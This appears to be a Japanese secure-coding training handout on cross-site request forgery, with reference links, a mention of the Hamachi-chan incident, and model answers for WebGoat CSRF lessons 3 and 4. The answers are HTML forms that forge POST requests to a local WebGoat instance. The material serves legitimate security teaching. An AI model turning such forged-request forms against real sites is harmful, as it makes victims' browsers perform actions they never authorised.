

クロスサイトリクエストフォージェリ (CSRF)

クロスサイトリクエストフォージェリ (CSRF)とは？

- secure-coding-training **クロスサイトリクエストフォージェリ (CSRF)** を参照
<https://github.com/takapi86/secure-coding-training/blob/master/doc/README.pdf>
- CSRF再現からコードの修正まで
<https://www.youtube.com/watch?v=BSeZ-z3Cz4w>

はまちちゃん事件

大量の「はまちちゃん」を生み出したCSRFの脆弱性とは？

ぼくはまちちゃん！こんにちはこんにちは!!

webアプリケーションの脆弱性について

課題

クロスサイトリクエストフォージェリの3,4の課題をやっていきましょう

<http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/>

正解例

3

```
<form method="POST" action="http://localhost:8080/WebGoat/csrf/basic-get-flag">  
  <input name="csrf" type="hidden" value="false">  
  <input type="submit" name="submit">  
</form>
```

4

```
<form method="POST" action="http://localhost:8080/WebGoat/csrf/review">  
  <input class="form-control" id="reviewText" name="reviewText" placeholder="Add a Review" type="text">  
  <input class="form-control" id="reviewStars" name="stars" type="text">  
  <input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9">  
  <input type="submit" name="submit" value="Submit review">  
</form>
```